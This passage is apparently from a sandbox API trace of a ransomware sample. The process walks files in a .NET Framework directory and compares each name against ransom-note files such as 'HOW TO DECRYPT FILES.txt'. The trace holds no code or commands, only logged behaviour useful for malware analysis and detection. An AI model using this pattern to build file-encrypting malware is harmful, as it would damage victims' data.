lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.658] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.658] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cd65f00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1fd08, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Transactions.Bridge.Dtc.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0137.658] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.658] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Transactions.Bridge.Dtc.dll") returned -1 [0137.658] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Transactions.Bridge.Dtc.dll") returned -1 [0137.658] lstrcmpiA (lpString1="", lpString2="Microsoft.Transactions.Bridge.Dtc.dll") returned -1 [0137.658] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Transactions.Bridge.dll") returned="Microsoft.Transactions.Bridge.dll" [0137.658] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.658] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.659] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56d70820, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2d0b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.Activities.Compiler.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0137.659] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.659] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualBasic.Activities.Compiler.dll") returned -1 [0137.659] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualBasic.Activities.Compiler.dll") returned -1 [0137.659] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualBasic.Activities.Compiler.dll") returned -1 [0137.659] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Transactions.Bridge.Dtc.dll") returned="Microsoft.Transactions.Bridge.Dtc.dll" [0137.659] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.659] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.659] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cf550e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1c728, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.Compatibility.Data.dll", cAlternateFileName="MI9F8E~1.DLL")) returned 1 [0137.660] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.660] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualBasic.Compatibility.Data.dll") returned -1 [0137.660] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualBasic.Compatibility.Data.dll") returned -1 [0137.660] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualBasic.Compatibility.Data.dll") returned -1 [0137.660] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.VisualBasic.Activities.Compiler.dll") returned="Microsoft.VisualBasic.Activities.Compiler.dll" [0137.660] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.660] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.660] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cf7b240, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7a110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.Compatibility.dll", cAlternateFileName="MI8438~1.DLL")) returned 1 [0137.660] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.660] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualBasic.Compatibility.dll") returned -1 [0137.660] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualBasic.Compatibility.dll") returned -1 [0137.660] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualBasic.Compatibility.dll") returned -1 [0137.660] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.VisualBasic.Compatibility.Data.dll") returned="Microsoft.VisualBasic.Compatibility.Data.dll" [0137.660] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.660] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.661] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cfc7500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x9c6d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.dll", cAlternateFileName="MI5E7A~1.DLL")) returned 1 [0137.661] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.661] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualBasic.dll") returned -1 [0137.661] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualBasic.dll") returned -1 [0137.661] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualBasic.dll") returned -1 [0137.661] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.VisualBasic.Compatibility.dll") returned="Microsoft.VisualBasic.Compatibility.dll" [0137.661] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.661] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.661] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c344900, ftCreationTime.dwHighDateTime=0x1cd425b, ftLastAccessTime.dwLowDateTime=0xcfae81c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x5c344900, ftLastWriteTime.dwHighDateTime=0x1cd425b, nFileSizeHigh=0x0, nFileSizeLow=0x597b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.targets", cAlternateFileName="MI6E8B~1.TAR")) returned 1 [0137.662] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.662] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualBasic.targets") returned -1 [0137.662] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualBasic.targets") returned -1 [0137.662] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualBasic.targets") returned -1 [0137.662] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.VisualBasic.dll") returned="Microsoft.VisualBasic.dll" [0137.662] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.662] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.662] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695ceb00, ftCreationTime.dwHighDateTime=0x1d09e6f, ftLastAccessTime.dwLowDateTime=0x5d0137c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x695ceb00, ftLastWriteTime.dwHighDateTime=0x1d09e6f, nFileSizeHigh=0x0, nFileSizeLow=0x76c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.Dll", cAlternateFileName="MI1012~1.DLL")) returned 1 [0137.662] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.662] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualC.Dll") returned -1 [0137.662] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualC.Dll") returned -1 [0137.662] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualC.Dll") returned -1 [0137.662] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.VisualBasic.targets") returned="Microsoft.VisualBasic.targets" [0137.662] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.662] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.663] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695ceb00, ftCreationTime.dwHighDateTime=0x1d09e6f, ftLastAccessTime.dwLowDateTime=0x5cdb21c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x695ceb00, ftLastWriteTime.dwHighDateTime=0x1d09e6f, nFileSizeHigh=0x0, nFileSizeLow=0xc6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="MI6127~1.DLL")) returned 1 [0137.663] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.663] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualC.STLCLR.dll") returned -1 [0137.663] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualC.STLCLR.dll") returned -1 [0137.663] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualC.STLCLR.dll") returned -1 [0137.663] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.VisualC.Dll") returned="Microsoft.VisualC.Dll" [0137.663] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.663] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.663] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67bed800, ftCreationTime.dwHighDateTime=0x1cd5d11, ftLastAccessTime.dwLowDateTime=0xcfb0e320, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x67bed800, ftLastWriteTime.dwHighDateTime=0x1cd5d11, nFileSizeHigh=0x0, nFileSizeLow=0xb0d64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.ApplicationServer.Applications.45.man", cAlternateFileName="MICROS~2.MAN")) returned 1 [0137.663] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.664] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.ApplicationServer.Applications.45.man") returned -1 [0137.664] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.ApplicationServer.Applications.45.man") returned -1 [0137.664] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.ApplicationServer.Applications.45.man") returned -1 [0137.664] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.VisualC.STLCLR.dll") returned="Microsoft.VisualC.STLCLR.dll" [0137.664] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.664] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.664] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5ce245e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x22588, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.ApplicationServer.Applications.dll", cAlternateFileName="MI4B94~1.DLL")) returned 1 [0137.664] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.664] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.ApplicationServer.Applications.dll") returned -1 [0137.664] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.ApplicationServer.Applications.dll") returned -1 [0137.665] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.ApplicationServer.Applications.dll") returned -1 [0137.665] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Windows.ApplicationServer.Applications.45.man") returned="Microsoft.Windows.ApplicationServer.Applications.45.man" [0137.665] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.665] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.665] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527ac200, ftCreationTime.dwHighDateTime=0x1d06a02, ftLastAccessTime.dwLowDateTime=0x5ce4a740, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x527ac200, ftLastWriteTime.dwHighDateTime=0x1d06a02, nFileSizeHigh=0x0, nFileSizeLow=0xa4e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WinFx.targets", cAlternateFileName="MI42A0~1.TAR")) returned 1 [0137.667] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.668] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.WinFx.targets") returned -1 [0137.668] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.WinFx.targets") returned -1 [0137.668] lstrcmpiA (lpString1="", lpString2="Microsoft.WinFx.targets") returned -1 [0137.668] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Windows.ApplicationServer.Applications.dll") returned="Microsoft.Windows.ApplicationServer.Applications.dll" [0137.668] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.668] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.668] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5ce708a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x80f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Workflow.Compiler.exe", cAlternateFileName="MICROS~1.EXE")) returned 1 [0137.668] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.668] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Workflow.Compiler.exe") returned -1 [0137.668] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Workflow.Compiler.exe") returned -1 [0137.668] lstrcmpiA (lpString1="", lpString2="Microsoft.Workflow.Compiler.exe") returned -1 [0137.668] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.WinFx.targets") returned="Microsoft.WinFx.targets" [0137.668] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.668] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.669] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d851600, ftCreationTime.dwHighDateTime=0x1cac5f0, ftLastAccessTime.dwLowDateTime=0x9ef6d3c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x2d851600, ftLastWriteTime.dwHighDateTime=0x1cac5f0, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Workflow.Compiler.exe.config", cAlternateFileName="MICROS~1.CON")) returned 1 [0137.669] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.669] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Workflow.Compiler.exe.config") returned -1 [0137.669] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Workflow.Compiler.exe.config") returned -1 [0137.669] lstrcmpiA (lpString1="", lpString2="Microsoft.Workflow.Compiler.exe.config") returned -1 [0137.669] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Workflow.Compiler.exe") returned="Microsoft.Workflow.Compiler.exe" [0137.669] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.669] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.669] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee6c700, ftCreationTime.dwHighDateTime=0x1d09e72, ftLastAccessTime.dwLowDateTime=0x5ce708a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xbee6c700, ftLastWriteTime.dwHighDateTime=0x1d09e72, nFileSizeHigh=0x0, nFileSizeLow=0x1d71, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WorkflowBuildExtensions.targets", cAlternateFileName="MID4E6~1.TAR")) returned 1 [0137.670] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.670] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.WorkflowBuildExtensions.targets") returned -1 [0137.670] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.WorkflowBuildExtensions.targets") returned -1 [0137.670] lstrcmpiA (lpString1="", lpString2="Microsoft.WorkflowBuildExtensions.targets") returned -1 [0137.670] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Workflow.Compiler.exe.config") returned="Microsoft.Workflow.Compiler.exe.config" [0137.670] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.670] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.670] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8702f00, ftCreationTime.dwHighDateTime=0x1d09e72, ftLastAccessTime.dwLowDateTime=0x5ce96a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xc8702f00, ftLastWriteTime.dwHighDateTime=0x1d09e72, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Xaml.targets", cAlternateFileName="MI45AF~1.TAR")) returned 1 [0137.670] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.670] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Xaml.targets") returned -1 [0137.670] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Xaml.targets") returned -1 [0137.670] lstrcmpiA (lpString1="", lpString2="Microsoft.Xaml.targets") returned -1 [0137.670] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.WorkflowBuildExtensions.targets") 